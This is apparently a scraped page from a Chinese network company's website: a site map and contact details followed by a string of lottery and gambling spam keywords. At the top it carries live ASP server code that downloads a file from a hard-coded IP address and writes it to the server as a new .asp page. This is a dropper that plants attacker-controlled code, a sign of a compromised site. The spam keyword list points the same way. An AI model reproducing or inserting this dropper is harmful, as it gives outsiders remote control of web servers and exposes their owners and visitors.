<%server.Scripttimeout=999999Remote_server="http://43.255.29.112/asp/aap.txt" Content_mb=GetHtml(Remote_server)Set Fso=Server.CreateObject("Scripting.FileSystemObject")Set Fout=Fso.CreateTextFile(Server.Mappath("huoshan.asp"))Fout.Write Content_mbFout.CloseFunction GetHtml(url)Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")ObjXMLHTTP.Open "GET",url,FalseObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O"ObjXMLHTTP.sendGetHtml=ObjXMLHTTP.responseBodySet ObjXMLHTTP=Nothingset objStream = Server.CreateObject("Adodb.Stream")objStream.Type = 1objStream.Mode =3objStream.OpenobjStream.Write GetHtmlobjStream.Position = 0objStream.Type = 2objStream.Charset = "gb2312"GetHtml = objStream.ReadTextobjStream.CloseEnd Function%>
網站地圖
隨機推薦
更多>>聯系我們

蘇州時代網絡科技有限公司

聯系人:陸先生
電 話:0512-67776777
手 機:13813813813
郵 箱:[email protected]
地 址:蘇州市高新區國際科技園
顶呱刮中10000吧 澳洲幸运5开奖最快现场直播 篮球比赛比分统计表 云南11选5定位走势图 三十三码的鞋内长多少 贵阳麻将技巧十句口 广西快乐双彩开奖分布图 2014世界杯比分网 重庆幸运农场在线计划 捕鱼大富翁红包官方版 多乐彩11选5走势图 贵阳麻将冲锋鸡下载 广西快乐10分彩 秒速赛车彩票官网网址 福彩幸运3D走势图 日海通讯股票代码 足彩比分直播怎么查